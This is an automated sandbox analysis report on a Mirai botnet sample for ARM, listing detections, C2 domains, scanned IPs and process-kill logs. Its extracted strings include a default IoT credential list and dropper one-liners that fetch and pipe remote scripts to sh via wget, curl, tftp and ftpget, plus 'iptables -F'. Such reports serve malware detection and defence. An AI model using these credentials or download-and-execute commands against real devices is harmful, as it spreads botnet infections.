Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name: la.bot.arm.elf
Analysis ID: 1565972
MD5: 4b318361b99e2bb5c0217638c1a4c75b
SHA1: 433794a579f12c9b880733d102e187ab5ad5aa6c
SHA256: 4f3e9275125f992cc383ab07d7ad17e68e7df3b061a16014eaa2e23126c6e3f3
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Performs DNS TXT record lookups
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: la.bot.arm.elf Virustotal: Detection: 28% Perma Link
Source: la.bot.arm.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
Source: la.bot.arm.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 209.38.103.113 ports 46852,7193,1,3,7,9
Source: global traffic TCP traffic: 192.168.2.15:55632 -> 209.38.103.113:7193
Source: /tmp/la.bot.arm.elf (PID: 5829) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 95.29.93.6
Source: unknown TCP traffic detected without corresponding DNS query: 133.157.252.159
Source: unknown TCP traffic detected without corresponding DNS query: 103.204.171.170
Source: unknown TCP traffic detected without corresponding DNS query: 3.24.86.40
Source: unknown TCP traffic detected without corresponding DNS query: 213.238.226.3
Source: unknown TCP traffic detected without corresponding DNS query: 27.86.47.33
Source: unknown TCP traffic detected without corresponding DNS query: 178.57.92.213
Source: unknown TCP traffic detected without corresponding DNS query: 179.59.199.39
Source: unknown TCP traffic detected without corresponding DNS query: 4.134.218.96
Source: unknown TCP traffic detected without corresponding DNS query: 219.94.60.165
Source: unknown TCP traffic detected without corresponding DNS query: 48.199.117.67
Source: unknown TCP traffic detected without corresponding DNS query: 169.190.78.105
Source: unknown TCP traffic detected without corresponding DNS query: 83.27.11.232
Source: unknown TCP traffic detected without corresponding DNS query: 39.174.29.7
Source: unknown TCP traffic detected without corresponding DNS query: 195.215.94.232
Source: unknown TCP traffic detected without corresponding DNS query: 153.151.40.144
Source: unknown TCP traffic detected without corresponding DNS query: 111.105.199.200
Source: unknown TCP traffic detected without corresponding DNS query: 99.120.33.125
Source: unknown TCP traffic detected without corresponding DNS query: 54.162.84.56
Source: unknown TCP traffic detected without corresponding DNS query: 125.74.197.215
Source: unknown TCP traffic detected without corresponding DNS query: 49.107.176.209
Source: unknown TCP traffic detected without corresponding DNS query: 213.43.80.58
Source: unknown TCP traffic detected without corresponding DNS query: 77.1.164.86
Source: unknown TCP traffic detected without corresponding DNS query: 178.18.164.155
Source: unknown TCP traffic detected without corresponding DNS query: 114.200.112.57
Source: unknown TCP traffic detected without corresponding DNS query: 189.61.127.139
Source: unknown TCP traffic detected without corresponding DNS query: 30.93.184.55
Source: unknown TCP traffic detected without corresponding DNS query: 178.63.4.172
Source: unknown TCP traffic detected without corresponding DNS query: 55.185.119.1
Source: unknown TCP traffic detected without corresponding DNS query: 203.232.191.67
Source: unknown TCP traffic detected without corresponding DNS query: 25.132.247.199
Source: unknown TCP traffic detected without corresponding DNS query: 26.113.142.9
Source: unknown TCP traffic detected without corresponding DNS query: 58.61.21.180
Source: unknown TCP traffic detected without corresponding DNS query: 209.38.103.113
Source: unknown TCP traffic detected without corresponding DNS query: 213.59.99.38
Source: unknown TCP traffic detected without corresponding DNS query: 70.1.127.109
Source: unknown TCP traffic detected without corresponding DNS query: 95.29.93.6
Source: unknown TCP traffic detected without corresponding DNS query: 151.161.109.139
Source: unknown TCP traffic detected without corresponding DNS query: 31.25.181.97
Source: unknown TCP traffic detected without corresponding DNS query: 133.157.252.159
Source: unknown TCP traffic detected without corresponding DNS query: 5.63.101.180
Source: unknown TCP traffic detected without corresponding DNS query: 103.204.171.170
Source: unknown TCP traffic detected without corresponding DNS query: 181.12.123.252
Source: unknown TCP traffic detected without corresponding DNS query: 139.190.37.12
Source: unknown TCP traffic detected without corresponding DNS query: 3.24.86.40
Source: unknown TCP traffic detected without corresponding DNS query: 34.208.5.252
Source: unknown TCP traffic detected without corresponding DNS query: 65.115.165.228
Source: unknown TCP traffic detected without corresponding DNS query: 213.238.226.3
Source: unknown TCP traffic detected without corresponding DNS query: 207.111.245.253
Source: unknown TCP traffic detected without corresponding DNS query: 87.239.101.5
Source: global traffic DNS traffic detected: DNS query: rib.codingdrunk.cc
Source: global traffic DNS traffic detected: DNS query: war.codingdrunk.in
Source: la.bot.arm.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm.elf String found in binary or memory: http:///wget.sh

System Summary

barindex
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5956, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5957, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5958, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5959, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5960, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5961, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5962, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5963, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5964, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5965, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5966, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5967, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5968, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5969, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5970, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5971, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5972, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5990, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6005, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6033, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6034, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6035, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6036, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6037, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6038, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6039, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6040, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6041, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6042, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6043, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6044, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6045, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6046, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6047, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6048, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6049, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6050, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6051, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6052, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6053, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6054, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6055, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6058, result: no such process Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6065, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6066, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6073, result: no such process Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6076, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6091, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6096, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6097, result: successful Jump to behavior
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//v
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5956, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5957, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5958, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5959, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5960, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5961, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5962, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5963, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5964, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5965, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5966, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5967, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5968, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5969, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5970, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5971, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5972, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 5990, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6005, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6033, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6034, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6035, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6036, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6037, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6038, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6039, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6040, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6041, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6042, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6043, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6044, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6045, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6046, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6047, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6048, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6049, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6050, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6051, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6052, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6053, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6054, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6055, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6058, result: no such process Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6065, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6066, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6073, result: no such process Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6076, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6091, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6096, result: successful Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) SIGKILL sent: pid: 6097, result: successful Jump to behavior
Source: classification engine Classification label: mal76.spre.troj.evad.linELF@0/1@2/0

Data Obfuscation

barindex
Source: /tmp/la.bot.arm.elf (PID: 5832) File: /etc/config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5832) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/911/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/804/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/490/fd Jump to behavior
